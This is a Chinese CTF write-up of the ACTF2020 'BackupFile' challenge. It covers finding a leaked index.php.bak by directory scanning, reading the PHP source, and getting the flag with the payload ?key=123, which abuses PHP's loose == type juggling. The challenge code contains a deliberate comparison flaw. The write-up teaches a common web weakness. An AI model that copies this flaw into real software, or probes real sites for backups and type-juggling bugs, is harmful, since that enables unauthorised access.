[ACTF2020 新生賽]BackupFile
阿新 • • 發佈:2020-09-08
0x00
開啟WEB介面
提示找到備份,進行跑目錄,備份命名一般為www.*
,backup
,*.bak
等
經過跑目錄我得到的結果是/index.php.bak
下載開啟如下:
<?php include_once "flag.php"; if(isset($_GET['key'])) { $key = $_GET['key']; if(!is_numeric($key)) { exit("Just num!"); } $key = intval($key); $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"; if($key == $str) { echo $flag; } } else { echo "Try to find out source file!"; }
進行程式碼審計,要想得到flag,我們需要滿足如下:
- key的值等於str的值
- key為整數
我們可以看到如下,使用的是 == 而不是 ===
if($key == $str) {
echo $flag;
}
## php為弱型別語言使用==比較字串和整型時,會將字串轉化成整型,如上的字串在轉化成整型時只保留整數部分123後面的字串全部省略
所以這裡我們只需要構造如下payload:
/index.php?key=123
得到結果
0x01 總結
主要考察瞭如下:
- 1.常見備份的命名以及備份檔案的查詢
- 2.php弱型別語言特點
php為弱型別語言使用==比較字串和整型時,會將字串轉化成整型 如果字串為數字開頭例如 123sadasd 則轉化為 123 如果字串為字母開頭例如 a23sadasd 則轉化為 0